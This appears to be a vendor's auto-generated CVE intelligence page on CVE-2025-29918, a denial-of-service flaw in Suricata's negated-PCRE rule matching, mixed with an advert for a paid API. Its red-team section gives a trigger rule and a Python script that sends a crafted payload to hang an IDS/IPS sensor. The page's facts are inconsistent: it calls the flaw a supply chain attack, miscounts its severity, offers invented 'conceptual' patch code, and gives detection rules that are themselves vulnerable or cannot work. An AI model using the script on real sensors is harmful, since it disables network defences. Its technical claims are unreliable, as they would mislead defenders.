☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-29918

CVE-2025-29918 Supply Chain Attack in Suricata
📅 PUBLISHED: 2025-04-10 21:02 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-29918 is a high-severity denial-of-service (DoS) vulnerability in Suricata, a widely used network intrusion detection and prevention system (IDS/IPS). The flaw resides in the PCRE (Perl Compatible Regular Expressions) engine, specifically when processing rules that utilize negated PCRE patterns. An attacker can craft a malicious network packet that triggers an infinite loop in a Suricata worker thread, causing the packet processing pipeline to hang. This effectively blinds the sensor and, in inline (IPS) mode, can cause network traffic to be dropped, leading to a complete denial of service for the protected network segment. The vulnerability is fixed in Suricata version 7.0.9.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Suricata is a critical component in many network security stacks, often deployed as a containerized service or installed via package managers (e.g., apt, yum, or from source). The vulnerability is in the core engine, not a third-party library, but the impact on the supply chain is significant: any organization relying on Suricata for network defense is at risk of having their primary visibility and enforcement point neutralized. Organizations using Suricata in Docker or Kubernetes environments should prioritize updating their images.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.2 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Attack Vector (AV): Network (N) – The attack is launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action is required.
  • Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
  • Confidentiality (C): None (N) – No data is exposed.
  • Integrity (I): None (N) – No data is modified.
  • Availability (A): High (H) – The primary impact is a complete loss of availability.

Threat Level: High. While the CVSS score is 6.2, the practical impact in an inline IPS deployment is severe. An attacker can completely disable network defenses with a single crafted packet, making this a critical threat for operational security.

Deep Dive & Mechanics

The vulnerability is a classic infinite loop caused by a pathological regular expression. In PCRE, a negated character class (e.g., [^a]) matches any character except those specified. When combined with certain quantifiers and patterns, the PCRE engine can enter a state where it repeatedly fails to match but also fails to advance the input pointer, leading to an infinite loop.

Technical Breakdown:

  1. Negated PCRE: A rule like alert http any any -> any any (msg:"Test"; content:"|00|"; pcre:"/[^a]*$/R"; sid:1;) uses a negated class [^a] with a greedy quantifier * and the $ anchor.
  2. Matching Logic: When Suricata processes a packet, it applies the PCRE rule. The engine attempts to match [^a]* against the payload. If the payload contains only characters that are not 'a', the match succeeds. However, if the payload contains an 'a', the engine backtracks.
  3. Infinite Loop Trigger: The specific vulnerability occurs when the PCRE pattern is designed such that the engine can repeatedly try and fail to match the negated class without consuming any input. This is often due to a zero-length match possibility combined with the R (raw) or other PCRE options. The thread processing the packet becomes stuck in this loop, never returning control to the main Suricata loop.
  4. Impact: In IDS mode, the sensor stops generating alerts. In IPS mode, the entire packet processing pipeline stalls, causing all subsequent packets to be dropped. The sensor becomes completely unresponsive until the process is restarted.

Vulnerable vs. Patched Code

The fix in Suricata 7.0.9 involves adding a safety check to the PCRE matching loop to detect and break out of infinite loops. The exact code change is in the PCRE handling routines.

Vulnerable Code (Conceptual):

// In pcre_exec or similar function
while (pcre_exec(...) == PCRE_ERROR_NOMATCH) {
    // No advancement check - can loop forever
    // ...
}

Patched Code (Conceptual):

// In pcre_exec or similar function
int match_count = 0;
while (pcre_exec(...) == PCRE_ERROR_NOMATCH) {
    if (++match_count > MAX_MATCH_ATTEMPTS) {
        // Break out of infinite loop
        break;
    }
    // ...
}

The actual patch is more nuanced, involving changes to how the PCRE library is called and how results are processed, but the core principle is the addition of a loop counter or timeout to prevent indefinite execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target running Suricata < 7.0.9 in IDS or IPS mode.
  • A rule loaded that uses a negated PCRE pattern (e.g., pcre:"/[^a]*$/R";).
  • Network access to the target sensor.

Exploit Steps:

  1. Identify a Vulnerable Rule: Find or create a Suricata rule that uses a negated PCRE pattern. Example rule:
    alert tcp any any -> any any (msg:"CVE-2025-29918 Test"; content:"|00|"; pcre:"/[^a]*$/R"; sid:1000001; rev:1;)
    
  2. Craft the Trigger Packet: Send a TCP packet containing a payload that will trigger the infinite loop. The exact payload depends on the rule, but a simple payload like a single byte 0x00 followed by a character that causes backtracking (e.g., 'a') is often sufficient.
    #!/usr/bin/env python3
    import socket
    
    target_ip = "192.168.1.100"
    target_port = 80
    
    # Payload that triggers the infinite loop
    payload = b"\x00" + b"a" * 100
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    try:
        sock.connect((target_ip, target_port))
        sock.send(payload)
        print("Payload sent. Suricata should be stuck.")
    except Exception as e:
        print(f"Error: {e}")
    finally:
        sock.close()
    
  3. Verify Denial of Service: The Suricata process will become unresponsive. In IPS mode, network traffic through the sensor will be dropped. In IDS mode, no new alerts will be generated.

Blue Team (Detection & Mitigation)

Detection:

  • Monitor Suricata Process: Use top, htop, or ps aux to check if the Suricata process is consuming 100% CPU on a single core.
  • Check Packet Processing: Use suricatasc to query the stats. If drop.pkts is increasing rapidly in IPS mode, or if decoder.pkts stops incrementing, the sensor may be stuck.
  • Network Monitoring: Look for a sudden drop in traffic passing through the sensor (in IPS mode) or a cessation of alerts.

Mitigation:

  • Immediate: Restart the Suricata service to clear the stuck thread.
  • Permanent: Upgrade to Suricata 7.0.9 or later.
  • Workaround: If upgrading is not immediately possible, review and remove any PCRE rules that use negated character classes with the R option, or add a timeout to the PCRE matching in the configuration (if supported).

Indicators of Compromise (IOCs)

  • Network Traffic:
    • A single TCP packet with a payload that triggers the infinite loop. The exact pattern is rule-dependent, but it will involve a negated PCRE pattern.
  • System Indicators:
    • Suricata process consuming 100% CPU on one core.
    • Suricata stats showing no new packets processed (decoder.pkts stops incrementing).
    • In IPS mode, a sudden increase in drop.pkts.
  • Logs:
    • Suricata logs may show repeated PCRE errors or warnings before the hang.
    • System logs may show the Suricata process being killed by OOM killer or watchdog.

Detection Engineering

YARA Rule

rule CVE_2025_29918_Suricata_PCRE_Infinite_Loop {
    meta:
        description = "Detects Suricata PCRE rules that may trigger CVE-2025-29918"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29918"
        hash = "unknown"
    strings:
        $pcre_negated = /pcre:\"\/\[[^\]]*\]\*\$\/R\"/ nocase
        $pcre_negated2 = /pcre:\"\/\[[^\]]*\]\+\$\/R\"/ nocase
    condition:
        any of them
}

Sigma Rule

title: Suricata PCRE Infinite Loop Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-29918 by monitoring Suricata process behavior
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/suricata'
        CommandLine|contains: 'pcre'
    condition: selection
falsepositives:
    - Legitimate use of PCRE rules
level: medium

Suricata Rule (Detection)

alert tcp any any -> any any (msg:"CVE-2025-29918 Potential Exploit Attempt"; content:"|00|"; pcre:"/[^a]*$/R"; sid:1000002; rev:1;)

Note: This rule itself is vulnerable if run on an unpatched system. Use for detection only on patched systems.

Remediation & Mitigation

  1. Immediate Action:
    • Upgrade Suricata to version 7.0.9 or later.
    • If an immediate upgrade is not possible, restart the Suricata service periodically to clear any stuck threads.
  2. Configuration Hardening:
    • Review all custom PCRE rules. Avoid using negated character classes with greedy quantifiers and the R option.
    • Implement a PCRE match timeout in the Suricata configuration (if supported by your version).
  3. Network Segmentation:
    • Deploy Suricata sensors in a way that a single sensor failure does not impact the entire network.
  4. Monitoring:
    • Implement monitoring for Suricata process health (CPU usage, packet processing stats).
    • Set up alerts for sudden drops in traffic or alert volume.

Valters IT

This report is generated for educational and defensive purposes. Always follow responsible disclosure practices.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-29918/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.